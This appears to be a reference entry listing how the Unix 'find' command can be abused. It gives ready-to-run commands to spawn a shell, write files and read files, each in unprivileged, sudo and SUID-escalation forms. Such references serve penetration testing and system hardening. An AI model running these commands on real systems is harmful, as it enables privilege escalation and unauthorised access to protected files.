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• Shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  find . -exec /bin/sh \; -quit

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  find . -exec /bin/sh \; -quit

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

  find . -exec /bin/sh -p \; -quit

File write

This executable can write data to local files.

• Comment

  DATA is a format string, it supports some escape sequences.

  Unprivileged

  This function can be performed by any unprivileged user.

  find / -fprintf /path/to/output-file DATA -quit

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  find / -fprintf /path/to/output-file DATA -quit

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  find / -fprintf /path/to/output-file DATA -quit

File read

This executable can read data from local files.

• Comment

  This uses cat to actually read the file, but since permissions are not dropped, it’s executed with the same privileges as find.

  Unprivileged

  This function can be performed by any unprivileged user.

  find /path/to/input-file -exec cat {} \;

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  find /path/to/input-file -exec cat {} \;

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  find /path/to/input-file -exec cat {} \;

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